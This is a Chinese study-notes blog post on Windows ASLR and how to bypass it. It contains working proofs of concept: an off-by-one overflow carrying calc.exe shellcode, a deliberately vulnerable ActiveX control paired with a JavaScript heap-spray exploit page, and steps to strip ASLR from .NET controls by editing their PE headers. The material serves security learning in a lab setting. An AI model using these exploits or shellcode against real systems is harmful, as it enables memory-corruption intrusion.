ASLR,Address Space Layout Randomization,通过加载程序的时候不再使用固定的基址,从而干扰 shellcode 定位的一种保护机制,包括映像随机化、堆栈随机化、PEB 与 TEB 随机化。ASLR 的实现也需要程序和操作系统的双重支持,但程序的支持不是必须的。
ASLR 在 XP 时代已经提出来了,但 XP 上的 ASLR 功能有限,只是对 PEB 和 TEB 进行简单的随机化处理。直到 Windows Vista 出现之后 ASLR 才真正发挥作用。
支持 ASLR 的程序会在 PE 头中设置 IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 标识。VS 2005 SP1 开始加入了 /dynamicbase 链接选项来支持 ASLR(Project - project Properties - Configuration Properties - Linker - Advanced - Randomized Base Address)。
映像随机化
对程序映像的虚拟地址进行随机处理,这个地址是在系统启动时确定的,重启后会变化。映像随机化可以通过注册表来设置:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerMemory ManagementMoveImages DWORD: 0 Disabled DWORD: -1 Force Enabled DWORD: other Normal
映像随机化使得通过的跳板指令无效。但映像随机化只对加载基址的前两个字节做了随机处理,各模块入口点的低位 2 字节不变。
堆栈随机化
堆栈随机化中,其基址是在每次加载程序时确定的。
jmp esp 和 heap spray 的运用使得堆栈随机化对溢出利用的影响有限。
PEB、TEB 随机化
XP SP2 中引入 PEB、TEB 的随机化,在此之前固定基址: PEB:0x7FFDF000,TEB:0x7FFDE000,获取当前 PEB 和 TEB 的参考代码如下:
1 #include "stdafx.h" 2 3 int _tmain(int argc, _TCHAR* argv[]) 4 { 5 unsigned int teb; 6 unsigned int peb; 7 __asm{ 8 mov eax,FS:[0x18] 9 mov teb,eax 10 mov eax,dword ptr[eax+0x30] 11 mov peb,eax 12 } 13 printf("peb: %#x teb: %#x ",peb,teb); 14 getchar(); 15 return 0; 16 }
PEB 和 TEB 随机化效果不是很好,而且溢出利用时还有其它方法获得这两个值。
利用未启用 ASLR 的模块做跳板
ASLR 是安全机制,但不是行业标准,不支持 ASLR 的程序很多。不支持 ASLR 意味着加载基址固定,如果当前进程中有这个一个模块,就可以用它做跳板。
Adobe 在 Flash 10 以后的版本才全面支持 Windows 的安全特性,在那之前一直是个危险的切入点。
书中有一个在 Vista(with flash player 9.0.262)下通过 IE 7.0(with Flash9k.ocx)绕过 ALSR 的例子:Flash9k.ocx 中没有 jmp esp 跳板,而上下文中指向栈中的只有 esp、edx、esi,能用的只有 jmp esi 了。但此时 esi 指向栈顶,栈顶的 jmp esi 跳板地址会被译成指令执行。而例子中合适的 jmp esi 指令的地址译为指令后,将会对 eax 指向的位置进行读操作,所以要先调整 eax。而调整 eax 用的跳板面临同样的问题:指令地址等效的代码不能影响 shellcode 的执行。
Off-by-One 技术攻击 ASLR
ASLR 对映像随机化时,只对加载基址的高位 2 字节做了地址随机化,因此可以利用 memcpy()、strcpy() 等进行 Off-by-One 攻击:只要寻找当前模块的踏板,并将跳板低 2 位地址覆盖到返回地址中,就可以溢出成功。
下面的例子演示了这个思路(之前的 shellcode 在 win7 上使用不了,其 LoadLibraryA() 函数出错,具体原因还没调。这里借用了 SkyLined 的弹出 calc.exe 的 shellcode,所有 32/64 bit Windows 版本通用,能够恢复栈帧,赞一个)。
1 // aslr_offbyone.cpp : Defines the entry point for the console application. 2 // env: 3 // * Win 7 4 // * VS2008 : GS off / Optimization off / DEP off 5 6 #include "stdafx.h" 7 8 char shellcode[]= 9 "x50x54x58x66x83xE4xF0x50x31xC0x40x92x74x4Fx60x4A" 10 "x52x68x63x61x6Cx63x54x59x52x51x64x8Bx72x30x8Bx76" 11 "x0Cx8Bx76x0CxADx8Bx30x8Bx7Ex18x8Bx5Fx3Cx8Bx5Cx1F" 12 "x78x8Bx74x1Fx20x01xFEx8Bx54x1Fx24x0FxB7x2Cx17x42" 13 "x42xADx81x3Cx07x57x69x6Ex45x75xF0x8Bx74x1Fx1Cx01" 14 "xFEx03x3CxAExFFxD7x58x58x61x5Cx92x58xC3x50x51x53" 15 "x56x57x55xB2x60x68x63x61x6Cx63x54x59x48x29xD4x65" 16 "x48x8Bx32x48x8Bx76x18x48x8Bx76x10x48xADx48x8Bx30" 17 "x48x8Bx7Ex30x03x57x3Cx8Bx5Cx17x28x8Bx74x1Fx20x48" 18 "x01xFEx8Bx54x1Fx24x0FxB7x2Cx17x8Dx52x02xADx81x3C" 19 "x07x57x69x6Ex45x75xEFx8Bx74x1Fx1Cx48x01xFEx8Bx34" 20 "xAEx48x01xF7x99xFFxD7x48x83xC4x68x5Dx5Fx5Ex5Bx59" 21 "x5Ax5Cx58xC3" // 196 bytes of calc.exe shellcode 22 "x90x90x90x90x90x90x90x90" 23 "x38x10" // 0x****1038 point to call eax in main() 24 ; 25 26 char * test() 27 { 28 char buf[196]; 29 memcpy(buf,shellcode,196+8+2); 30 return buf; 31 } 32 33 int _tmain(int argc, _TCHAR* argv[]) 34 { 35 test(); 36 _asm call eax // eax contains buf[] returns from test 37 return 0; 38 }
Heap Spray 攻击 ASLR
Heap Spray 是为了应对堆空间的随机化而产生的技术,ASLR 本质也是随机化处理,Heap Spray 也能应对 ASLR 保护。
Heap Spray 是攻击浏览器的技术,实验前先生成含有漏洞的浏览器 ocx 控件:MFC ActiveX Control 控件函数代码如下。
1 // CvulCtrl message handlers 2 // env: 3 // * windows xp sp3 4 // * visual studio 2008 mfc activex control 5 // optimization off, GS off 6 // use mfc in static library, use unicode charset 7 // build: release 8 // 9 void CvulCtrl::test(LPCTSTR str) 10 { 11 //AFX_MANAGE_STATE(AfxGetStaticModuleState()); 12 13 // TODO: Add your dispatch handler code here 14 printf("bookmark "); 15 __asm{ 16 push eax; 17 mov eax,0x20141104 18 pop eax 19 } 20 char dest[100]; 21 sprintf(dest, "%s", str); 22 }
上述代码的第 14~19 行是调试 OllyDbg 时帮助定位的。第 11 行如果不注释的话,生成的控件在第 21 行执行完后会进行某种验证(SXS:%s called with invalid cookie type 0x........),会导致溢出实验失败。
溢出的 PoC 页面如下(Windows XP sp3 (/NOEXECUTE=OptIn) with IE7):
1 <html> 2 <body> 3 <object classid="clsid:DB30502B-1297-470B-A487-5D2D23967AA3" id="test"></object> 4 <script> 5 var shellcode="u68FCu0A6Au1E38u6368uD189u684Fu7432u0C91"; 6 shellcode+="uF48Bu7E8Du33F4uB7DBu2B04u66E3u33BBu5332"; 7 shellcode+="u7568u6573u5472uD233u8B64u305Au4B8Bu8B0C"; 8 shellcode+="u1C49u098Bu698BuAD08u6A3Du380Au751Eu9505"; 9 shellcode+="u57FFu95F8u8B60u3C45u4C8Bu7805uCD03u598B"; 10 shellcode+="u0320u33DDu47FFu348Bu03BBu99F5uBE0Fu3A06"; 11 shellcode+="u74C4uC108u07CAuD003uEB46u3BF1u2454u751C"; 12 shellcode+="u8BE4u2459uDD03u8B66u7B3Cu598Bu031Cu03DD"; 13 shellcode+="uBB2Cu5F95u57ABu3D61u0A6Au1E38uA975uDB33"; 14 shellcode+="u6853u6577u7473u6668u6961u8B6Cu53C4u5050"; 15 shellcode+="uFF53uFC57uFF53uF857"; //168b msgbox shellcode 16 17 var nops=unescape("%u9090%u9090"); 18 while(nops.length<0x100000/2) 19 nops+=nops; 20 nops=nops.substring(0,0x100000/2-32/2-4/2-2/2-shellcode.length); 21 nops=nops+shellcode; 22 23 var memory=new Array(); 24 for(var i=0;i<200;i++) 25 memory[i]+=nops; 26 27 var s="u9090"; 28 while(s.length<54) 29 s+="u9090"; 30 s+="u0c0cu0c0c"; // exploit return address 31 //confirm("ready to exploit ..."); // debug 32 test.test(s); 33 </script> 34 </body> 35 </html>
这个实验中,vul.ocx 的 uuid 填错,折腾了很久才发现。js 中的代码写错,也折腾很久才改好。如果对 js 熟悉点,不至于耽误这么多时间调试……*_*
Hit:
* 调试时可以借助 ocx 中的标记,只要搜索 mov eax,0x20141104 或者 pop eax (用 Ctrl+B 搜)
* 在 Memory 视图中能对内存段设断点(F2),网上还有人提供了一些其它方法,如设置条件断点:点击这里
* 书中有个利用 java applet(jdk<1.5, -target 1.1)进行 Heap Spray 来绕过 ALSR 的例子
为 .NET 控件禁用 ASLR
Alexander Sotirov 在 2008 年的 BlackHat 上披露了 PE 文件是否启用 ASLR 的校验过程:
1 if ( !(pBinaryInfo->pHeaderInfo->usDllCharacteristics & IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE) && 2 !(pBinaryInfo->pHeaderInfo->bFlags & PINFO_IL_ONLY_IMAGE) && 3 !(_MnMoveImages == -1) ) 4 { 5 _MiNoRelocate++; 6 return 0; 7 }
可见只要满足以下任意条件该 PE 文件启用 ASLR
1 PE 头中含有 IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 标识 2 IL-ONLY 文件,对 .NET 进行了特殊照顾 3 _MnMoveImages 值为 -1,强制 ASLR
所以,不管是否设置了 IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 标识,含有 IL-ONLY 标识的 .NET 程序/控件都会启用 ASLR。系统验证 .NET 文件是不是 IL-ONLY 的流程如下:
1 if ( ( (pCORHeader->MajorRuntimeVersion>2) || (pCORHeader->MajorRuntimeVersion==2 && pCORHeader->MinorRuntimeVersion>=5) ) && 2 (pCONHeader->Flags & COMIMAGE_FLAGS_ILONLY) ) 3 { 4 pImageControlArea->pBinaryInfo->pHeaderInfo->bFlags |= PINFO_IL_ONLY_IMAGE; 5 ...... 6 }
系统检查一个 .NET 文件是否具有 COMIMAGE_FLAGS_ILONLY 标识前会对该文件的运行时版本进行判断,如果版本号低于 2.5,该文件就不会被认定为 IL-ONLY。
可以用 CFF Explorer 来修改 .NET 文件/控件的 PE 头,去掉 IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 标识,然后将运行版本号改为小于 2.5 就可以。配合之前 DEP 的例子,可以用这样的 .NET 控件绕过 DEP 和 ASLR!